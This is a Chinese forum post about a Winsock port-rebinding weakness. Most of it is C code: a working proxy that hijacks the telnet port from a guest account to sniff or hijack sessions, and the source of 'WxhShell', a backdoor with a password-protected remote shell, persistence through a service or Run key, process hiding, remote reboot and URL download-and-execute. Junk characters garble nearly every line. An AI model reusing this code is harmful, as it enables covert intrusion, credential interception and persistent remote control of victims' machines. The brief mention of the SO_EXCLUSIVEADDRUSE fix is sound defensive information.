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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uq~Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?df*Y5I2  
x)h|!T=B~  
  saddr.sin_family = AF_INET; :zW I"  
m,TN%*U!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $}*bZ~  
Hfw*\=p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ac'0  
e{*-_j "I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #KOr-Yg|U  
LZ ?z5U:  
  这意味着什么?意味着可以进行如下的攻击: "; PW#VHC  
.*3.47O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }K8W%h<3S  
Wvg+5Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }ob&d.XZ  
.w .`1 g   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S*5hO) C  
bJ$6[H-:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,y'E#_cTgQ  
"G&S`8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wTu_Am  
?aMV{H*Q*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 orGkS<P  
GO|1O|?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Uzx,aYo X  
3/j^Ao\fw  
  #include S>! YBzm&X  
  #include KTQy pv  
  #include YoT< ]'  
  #include    d[p-zn.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rKtr&w7X  
  int main() dE`a1H%  
  { d;<gwCc  
  WORD wVersionRequested; l[_ y|W5  
  DWORD ret; a&?SRC'x  
  WSADATA wsaData; vzr?#FG  
  BOOL val; Vg>\@ C .s  
  SOCKADDR_IN saddr; #%=6DHsK  
  SOCKADDR_IN scaddr; &"h 9Awn2  
  int err; ,k,RXgQ  
  SOCKET s; e?V7<7$  
  SOCKET sc; TVVr<r  
  int caddsize; ^iHwv*ss  
  HANDLE mt; t,f)!D$  
  DWORD tid;   'UW(0 PXw  
  wVersionRequested = MAKEWORD( 2, 2 ); q$<M2  
  err = WSAStartup( wVersionRequested, &wsaData ); \$iU#Z  
  if ( err != 0 ) { _~{Nco7T  
  printf("error!WSAStartup failed!\n"); !ULU#2'1  
  return -1; eL vbPE_  
  } )37.H^7  
  saddr.sin_family = AF_INET; ['*{f(AI  
   sv g`s,g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f4h|Nn%;  
2NNAsr}L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 24}?GO  
  saddr.sin_port = htons(23); p H5iv>H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |3a1hCxt  
  { Dm")\"5\?  
  printf("error!socket failed!\n"); _N-.=86*  
  return -1; !bPsJbIo>  
  } gc y'"d"  
  val = TRUE; B*zR/?U^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HZG^o^o1l+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dv_& ei  
  { m$bX;F}T  
  printf("error!setsockopt failed!\n"); v}Gpw6   
  return -1; 1&Fty'p  
  } {1<XOp#b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n0nvp@?7bJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @jKiE%OP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }Sxuc/%:  
BJ c'4>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {Xc^-A[~  
  { FRSz3^Aw  
  ret=GetLastError(); iPD5 KsAOA  
  printf("error!bind failed!\n"); `Wes!>Vh!  
  return -1; wU9H=w^  
  } hZ#ydI|  
  listen(s,2); N`G* h^YQ  
  while(1) }%&hxhR^t3  
  { 5yh:P3 /  
  caddsize = sizeof(scaddr); zE~{}\J  
  //接受连接请求 XMR$I&;G8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w;=fi}<G|e  
  if(sc!=INVALID_SOCKET) A<1:vV  
  { [32]wgw+{1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |<Cz#| ,q  
  if(mt==NULL) 3k#?E]'  
  { ae&i]K;  
  printf("Thread Creat Failed!\n"); TIs~?wb$  
  break; HB>&}z0  
  } ir72fSe  
  } yR`X3.:*]  
  CloseHandle(mt); 9L`5r$/  
  }  c"pI+Q  
  closesocket(s); z vM=k-Ec  
  WSACleanup(); 015 ;'V#we  
  return 0; dTE(+M- Gr  
  }   \o&\r)FX  
  DWORD WINAPI ClientThread(LPVOID lpParam) c7E|GZ2Hc  
  { sULCYiT|Hn  
  SOCKET ss = (SOCKET)lpParam; g}cb>'=={  
  SOCKET sc; Y]u6f c  
  unsigned char buf[4096]; TL29{'4V  
  SOCKADDR_IN saddr; +*O$]Hh  
  long num; >nqDUGnEo>  
  DWORD val; v>p UVM  
  DWORD ret; U #u=9%'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3?R56$-+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z]^u@]@NC  
  saddr.sin_family = AF_INET; B8f BX!u/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5$<\  
  saddr.sin_port = htons(23); sDylSYq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j,]KidDWm  
  {  1\[En/6  
  printf("error!socket failed!\n"); K4r"Q*h  
  return -1; B7*^rbI:X  
  } h()Ok9]  
  val = 100; oPqWL9]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )\k({S  
  { ;fdROI  
  ret = GetLastError(); l/wdu(  
  return -1; a/ k0(  
  } csEF^T-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &D/@H1fBe  
  {  3ih3O  
  ret = GetLastError(); 8zOoVO  
  return -1; &B3[:nS2  
  } ( <Abw{BTm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <hJ%]]  
  { aX)k (*|  
  printf("error!socket connect failed!\n"); aJ4y%Gy?  
  closesocket(sc); SY[7<BUZ  
  closesocket(ss); U= Gw(  
  return -1;  MeP,8,n'  
  } ".Z1CBM(  
  while(1) <kmH^ viX  
  { (=T%eJ61  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ytWTJ>L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M6j!_0j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S4salpz  
  num = recv(ss,buf,4096,0); 'l&),]|$)  
  if(num>0) &e-MOM2&  
  send(sc,buf,num,0); #Yqj27&  
  else if(num==0) <r8sZrY  
  break; kn^? .^dVX  
  num = recv(sc,buf,4096,0); hB !>*AsG  
  if(num>0) ,>AA2@6zMT  
  send(ss,buf,num,0); GY%2EM(  
  else if(num==0) 9On0om>  
  break; _#SCjFz  
  } M<%g)jn_  
  closesocket(ss); f4b`*KGf  
  closesocket(sc); snH9@!cG8  
  return 0 ; 77]6_  
  } HW@r1[Y  
)Rlh[Y& r  
1 m>x5Dbk!  
========================================================== 68!W~%?pR  
&4dh$w]q  
下边附上一个代码,,WXhSHELL 'Avp16zg  
qubyZ8hx  
========================================================== S5,y!K]C~  
< s>y{ e  
#include "stdafx.h" cl'#nLPz;  
k;fy8  
#include <stdio.h> ~+HZQv3Y  
#include <string.h> 5C G ,l  
#include <windows.h> ~vL`[JiK  
#include <winsock2.h> 3SeM:OYq]s  
#include <winsvc.h> dw"Tv ~  
#include <urlmon.h> I?z*.yA*  
GY3g`M   
#pragma comment (lib, "Ws2_32.lib") ZQVr]/W^r  
#pragma comment (lib, "urlmon.lib") o)M=; !  
/`2t$71)  
#define MAX_USER   100 // 最大客户端连接数 g.V{CJ*V  
#define BUF_SOCK   200 // sock buffer ^w tr~D|  
#define KEY_BUFF   255 // 输入 buffer pE~>k:  
^@4$O|3Wh'  
#define REBOOT     0   // 重启 H[u[3  
#define SHUTDOWN   1   // 关机 WlF}R\N!  
T\ cJn>kCn  
#define DEF_PORT   5000 // 监听端口 -!ARVf *  
Q&@~<!t  
#define REG_LEN     16   // 注册表键长度 PlX6,3F  
#define SVC_LEN     80   // NT服务名长度 Wifr%&t{J  
2H]~X9,z2  
// 从dll定义API HTa]T'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fl4z'8P"(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ij|+MX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ; *@lH%u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NCKhrDd&  
xc&&UKd  
// wxhshell配置信息 @j{n V@|  
struct WSCFG { H;=JqD8`  
  int ws_port;         // 监听端口 p_Yx"nO7  
  char ws_passstr[REG_LEN]; // 口令 oA;> z  
  int ws_autoins;       // 安装标记, 1=yes 0=no |_H{ B+.  
  char ws_regname[REG_LEN]; // 注册表键名 O^_$cq  
  char ws_svcname[REG_LEN]; // 服务名 fPj*qi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9?6]Z ag  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (9A`[TRwi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jW!x!8=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5RUhrE   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +YNN$i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i+Fk  
h%0FKi^  
}; ,iy;L_N  
Z'V"nhL  
// default Wxhshell configuration y?}R,5k  
struct WSCFG wscfg={DEF_PORT, 5{.g~3"  
    "xuhuanlingzhe", iDdmr32E  
    1, =a]B#uUn  
    "Wxhshell", W3h{5\d!  
    "Wxhshell", P*kKeMl  
            "WxhShell Service", DH*=IzcJf  
    "Wrsky Windows CmdShell Service", vp_$Ft-R  
    "Please Input Your Password: ", E979qKl  
  1, $YPQi.  
  "http://www.wrsky.com/wxhshell.exe", x392uS$#  
  "Wxhshell.exe" jWX^h^n7K  
    }; :8CYTEc  
Ev)aXP  
// 消息定义模块 {T=rsPp<@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l(fStpP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hj*Fn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <8?jn*$;\  
char *msg_ws_ext="\n\rExit."; 2\'5LL3  
char *msg_ws_end="\n\rQuit."; UomO^P  
char *msg_ws_boot="\n\rReboot..."; #R#o/@|  
char *msg_ws_poff="\n\rShutdown..."; c9<&+  
char *msg_ws_down="\n\rSave to "; n?EL\B   
@XSxoUF\  
char *msg_ws_err="\n\rErr!"; K]0K/~>8  
char *msg_ws_ok="\n\rOK!"; )h&*b9[B=  
OM1pyt  
char ExeFile[MAX_PATH]; % QKlvmI"  
int nUser = 0; uTq)Ets3  
HANDLE handles[MAX_USER]; &l| :1  
int OsIsNt; ->0OqVQA  
Ozo)}  
SERVICE_STATUS       serviceStatus; B*,Qw_3dG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,iYKtS3  
;A3aUN;"I  
// 函数声明 Cjn)`Q8  
int Install(void); M%#H>X\/  
int Uninstall(void); |TE\]  
int DownloadFile(char *sURL, SOCKET wsh); 6Y-sc*5  
int Boot(int flag); SaA9)s  
void HideProc(void); LqOjVQxz  
int GetOsVer(void); rjJ-ZRs\  
int Wxhshell(SOCKET wsl); v."0igMO  
void TalkWithClient(void *cs); KJ]ejb$  
int CmdShell(SOCKET sock); DP-euz  
int StartFromService(void); *K}j>A  
int StartWxhshell(LPSTR lpCmdLine); I8]q~Q<-P  
<Ky6|&!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J@4,@+X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HbUadPr  
$S(q;Y  
// 数据结构和表定义 ]L?DV3N  
SERVICE_TABLE_ENTRY DispatchTable[] = (!iGQj(m  
{ rQ!X  
{wscfg.ws_svcname, NTServiceMain}, p#T^o]+  
{NULL, NULL} "v9i;Ba>+  
}; YJ[Jo3M@j0  
c~=yD:$  
// 自我安装 0s%rd>3  
int Install(void) }F;Nh7?  
{ KDmzKOl  
  char svExeFile[MAX_PATH]; K7 N)VG  
  HKEY key; i)[8dv  
  strcpy(svExeFile,ExeFile); {k#RWDespy  
4\?GA`@  
// 如果是win9x系统,修改注册表设为自启动 C $r]]MSj  
if(!OsIsNt) { G'\x9%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?t{ 2y1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TzW1+DxM5  
  RegCloseKey(key); $[NC$*N7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :+nECk   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z/IZ ;K_e  
  RegCloseKey(key); "VfV;)]|w  
  return 0; wzka4J{  
    } m@W\Pic,j.  
  } /cN. -lEo%  
} nP+]WUnY  
else { zs_^m1t1s  
,aLdW,<6  
// 如果是NT以上系统,安装为系统服务 0k7kmDW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~=pAy>oV  
if (schSCManager!=0) #!n"),3  
{ +mqz)-x  
  SC_HANDLE schService = CreateService ^^{gn3xJ  
  ( xr<.r4  
  schSCManager, ZGHh!Ds;  
  wscfg.ws_svcname, RlH~<|XK  
  wscfg.ws_svcdisp, !]v&/  
  SERVICE_ALL_ACCESS, NxyrP**j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g^qbd$}  
  SERVICE_AUTO_START, , 7kS#`P  
  SERVICE_ERROR_NORMAL, Q:+cLl&;hB  
  svExeFile, OlV'#D   
  NULL, V`7^v:  
  NULL, !_|rVg.  
  NULL, k\J 6WT  
  NULL, 9j6  
  NULL wB0zFlP  
  ); @A-^~LoP.  
  if (schService!=0) 1 =cFV'  
  { pJK}9p=4`  
  CloseServiceHandle(schService); |4XR [eX  
  CloseServiceHandle(schSCManager); /h!Y/\kI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "V:24\vO  
  strcat(svExeFile,wscfg.ws_svcname); <f'2dT@6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xg>AW Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WRWcB  
  RegCloseKey(key); mu!hD^fw  
  return 0; NSPa3NE  
    } b[MdA|C%j  
  } hR]AUH  
  CloseServiceHandle(schSCManager); 8O)!{gB  
} -5Km 9X8  
} .$k2.-k  
mR? } gR  
return 1; V(Dn!Nz  
} >;;tX3(  
_cW (R,i  
// 自我卸载 6.!3g(w   
int Uninstall(void) H(1( H0Kj"  
{ t[.wx.y&0  
  HKEY key; G}lP'9/  
Ofyz,% |Q  
if(!OsIsNt) { %Ny`d49&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #xopJaY  
  RegDeleteValue(key,wscfg.ws_regname); ?B&@  
  RegCloseKey(key); l9 |x7GB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XgfaTX*  
  RegDeleteValue(key,wscfg.ws_regname); O;ty k_yM  
  RegCloseKey(key); FZEK-]h.  
  return 0; Zy -&g:  
  } ZL-YoMHc+_  
} '|\et aD  
} R`RLq1WA  
else { {c3u!} mW  
YJ&K0 %R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bYKyR}e  
if (schSCManager!=0) W:8*Z8?7  
{ {\?zqIM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #()u=)  
  if (schService!=0) g]z[!&%Ahs  
  { iZVMDJ?(Z]  
  if(DeleteService(schService)!=0) { U~mv1V^.  
  CloseServiceHandle(schService); mh#dnxeR  
  CloseServiceHandle(schSCManager); KXgC]IO~  
  return 0; CFW\  
  } b 83__i  
  CloseServiceHandle(schService); w :w  
  } + !I7(gL  
  CloseServiceHandle(schSCManager); -bamNw>|  
} MBbycI,  
} +n ${6/  
}^Unx W  
return 1; e%v<nGN.-  
} zKi5e+\  
;9{x""  
// 从指定url下载文件 Kzs]+Cl  
int DownloadFile(char *sURL, SOCKET wsh) x=>+.'K  
{ ">n38:?R  
  HRESULT hr; G n_AXN  
char seps[]= "/"; da[u@eNrnX  
char *token; :\*<EIk(  
char *file; ,6zH;fi  
char myURL[MAX_PATH]; pX:FXzYQ  
char myFILE[MAX_PATH]; fC_dSM[{c  
;JcOm&d/hk  
strcpy(myURL,sURL); w2:!yQk_  
  token=strtok(myURL,seps); fwojFS.K  
  while(token!=NULL) [I;5V=bKW  
  { 1GnT^u y/  
    file=token; &AMW?vO  
  token=strtok(NULL,seps); ZwLD7j*)  
  } 0.}Um  
Ufz& 2  
GetCurrentDirectory(MAX_PATH,myFILE); LiyEF&_u  
strcat(myFILE, "\\"); {QTrH-C  
strcat(myFILE, file); \}ujSr#<  
  send(wsh,myFILE,strlen(myFILE),0); wo>srZs  
send(wsh,"...",3,0); W |]24  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <"uT=]wZ=  
  if(hr==S_OK) qIwI]ub~  
return 0; ({ 7tp!@  
else DRo@gYDn  
return 1; y&0&K 4aa  
uA?_\z?  
} #rZk&q  
*-timVlaE  
// 系统电源模块 74c1i  
int Boot(int flag) D!. r$i)  
{  W t&tu2  
  HANDLE hToken; 62B` Z5j#  
  TOKEN_PRIVILEGES tkp; Phsdn`,  
`  L(AvSR  
  if(OsIsNt) { y)W.xR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ge+&C RhyX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wX6VapFboI  
    tkp.PrivilegeCount = 1; qAsZ,ik  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -R,[/7zj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8c m,G  
if(flag==REBOOT) { OC zWP,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V| >u,  
  return 0; G .~Psw#  
} *f~X wy"  
else { /;M0tP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K?_4|  
  return 0; }N_9&I   
} _/"m0/,  
  } ?-,v0#  
  else { V8>%$O sw  
if(flag==REBOOT) { =nEl m*E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X[8m76/V  
  return 0; z.g'8#@  
} :\Z;FA@g(g  
else { .`!|^h%0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dg]ua5jk  
  return 0; W"fdK_F\  
} )-824?Nl:  
} W:uIG-y~  
Urhh)i  
return 1; =5EG}@  
} jNN$/ZWm  
(=${@=!z  
// win9x进程隐藏模块 Sd.i1w &  
void HideProc(void) [8/E ;h  
{ <CL0@?*i9  
D"F5-s7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jxL5L[  
  if ( hKernel != NULL ) Ys10r-kDS  
  { +XU*NAD,!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x`^~|Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vJ$#m_aa  
    FreeLibrary(hKernel); `j088<?j  
  } aWVJx@f  
JBdZ]  
return; 0@E[IDmp  
} \GeUX <Fl  
-OZRSjmY  
// 获取操作系统版本 5gg_c?Vh/  
int GetOsVer(void) v709#/ cR  
{ TL+a_]3@  
  OSVERSIONINFO winfo; x~xaE*r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >Qc0g(w  
  GetVersionEx(&winfo);  PA"xb3@I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3e"_R  
  return 1; {4&G\2<^^  
  else @B$ Y`eK\  
  return 0; E7+ y W  
} 8 vB~1tl;  
Wx"bW ICc  
// 客户端句柄模块 ,,oiL  
int Wxhshell(SOCKET wsl) Vw=eC"  
{ =^4 vz=2  
  SOCKET wsh; )'M<q,@<(  
  struct sockaddr_in client; .:c^G[CQ^9  
  DWORD myID; 7|3Z+#|T  
):eX*  
  while(nUser<MAX_USER) *&>1A A  
{ St/Hv[H'[E  
  int nSize=sizeof(client); )cB00*/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E/:<9xl  
  if(wsh==INVALID_SOCKET) return 1; ?gjM]Ki%:  
_ Onsfv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lyKV^7}  
if(handles[nUser]==0) Mw7 ~:O`  
  closesocket(wsh); GiB3.%R`  
else a3 wUB  
  nUser++; aT"q}UTK  
  } z>NRvx0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %MgQ.  
{<&I4V@+  
  return 0; g ZhE\  
} $k*E^~qT  
!l@IG C  
// 关闭 socket YY]JjMkU  
void CloseIt(SOCKET wsh) i NzoDmE*  
{ DM{ 7x77  
closesocket(wsh); AV AF!Z  
nUser--; q~.\NKc  
ExitThread(0); Q4-d2I>0  
} qHg\n)R"x!  
T30!'F(*,  
// 客户端请求句柄 gKcP\m  
void TalkWithClient(void *cs) ` DO`c>>K  
{ YEAiLC+q  
uXW<8( %W  
  SOCKET wsh=(SOCKET)cs; w``t"v4  
  char pwd[SVC_LEN]; yInW?3  
  char cmd[KEY_BUFF]; BqK|4-Pf  
char chr[1]; k}l5v)m  
int i,j; e{.2*>pH  
A/%K=H?  
  while (nUser < MAX_USER) { c[?S}u|['  
nK1XJp  
if(wscfg.ws_passstr) { l%.3hId-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +ww paR`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J`;G9'n2  
  //ZeroMemory(pwd,KEY_BUFF); ,ju1:`  
      i=0; L{Epkay,{  
  while(i<SVC_LEN) { :51Q~5k4  
P~iu|j  
  // 设置超时 PX52a[wNDH  
  fd_set FdRead; "EF: +gi#"  
  struct timeval TimeOut; wx BQ#OE  
  FD_ZERO(&FdRead); ^o,Hu#  
  FD_SET(wsh,&FdRead); eI; %/6#  
  TimeOut.tv_sec=8; UL$^zR3%d  
  TimeOut.tv_usec=0; "lx}.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o\1"ux;b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Z>4}<~+  
:}FMauHh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $jo}?Y+  
  pwd=chr[0]; N \[Cuh8Fe  
  if(chr[0]==0xd || chr[0]==0xa) { Pe!uk4}w  
  pwd=0; SoS[yr  
  break; %#2[3N{  
  } J:)Q)MT24:  
  i++; -7TT6+H)  
    } lMB^/-Y  
e(x1w&8dB  
  // 如果是非法用户,关闭 socket /cexd_l|f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GKH 7Xx(  
} F N;X"it.  
Erl"X}P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  nsij;C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i*..]!7e  
z<ptrH  
while(1) { 0wB ?U~  
BQ,]]}e43z  
  ZeroMemory(cmd,KEY_BUFF); p82&X+v/p  
a"EP`  
      // 自动支持客户端 telnet标准   8#2PJHl;  
  j=0; +dS e" W9  
  while(j<KEY_BUFF) { o~<37J3).  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0XSZ3dY&+  
  cmd[j]=chr[0]; ;n00kel$  
  if(chr[0]==0xa || chr[0]==0xd) { EN` -- ^  
  cmd[j]=0; QL"fC;xUn,  
  break; 3X89mIDr  
  } &Ph@uZ\  
  j++; B-|:l 7  
    } 0Q_AF`"  
;:vbOG#aSN  
  // 下载文件 ^O6PZm5J}  
  if(strstr(cmd,"http://")) { $d{{><  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;VeC(^-eh6  
  if(DownloadFile(cmd,wsh)) !h}x,=`z/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]}i_NqW)  
  else V9I5/~0c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @sav8 ]  
  } r^n%PH <  
  else { ]Hc `<P  
k+'Rh'>  
    switch(cmd[0]) { YDyOhv  
  &sh %]o8  
  // 帮助 ox{)O/aj  
  case '?': { o>311(:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Eh#W*Bg  
    break; @ T'!;)  
  } Dh BUMDoB  
  // 安装 .8uJ%'$)  
  case 'i': { qS*qHT(u19  
    if(Install()) 9(QY~F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \'&:6\-fw  
    else HtgVD~[]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8TD:~ee  
    break;  ;iy]mPd  
    } 73A1+2  
  // 卸载 l6:k|hrm;  
  case 'r': { D!Owm&We  
    if(Uninstall()) Ry,_ %j3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aU<0<Dx  
    else ow:c$Zq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y;keOI!  
    break; >#Y8#-$zc  
    } %g^dB M#  
  // 显示 wxhshell 所在路径 k+ 5:fB)z  
  case 'p': { "uDLty?*k  
    char svExeFile[MAX_PATH]; K8XXO"  
    strcpy(svExeFile,"\n\r"); ;}#tm9S;  
      strcat(svExeFile,ExeFile); 8O qG{jmG  
        send(wsh,svExeFile,strlen(svExeFile),0); n AQB  
    break; *JZU 0Xb  
    } U`ey7   
  // 重启 ,oT?-PC$z  
  case 'b': { LUna stA^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vx;f/CH3!  
    if(Boot(REBOOT)) Bbz#$M!:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U O YM   
    else { 1RY}mq  
    closesocket(wsh); _FeLSk.  
    ExitThread(0);  4>uz'j<  
    } wz+  
    break; ((7~o?Vbg  
    } AmM^&  
  // 关机 _&D I_'5q+  
  case 'd': { ^SpD)O{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WpP8J1KN[  
    if(Boot(SHUTDOWN)) 8b8ui  
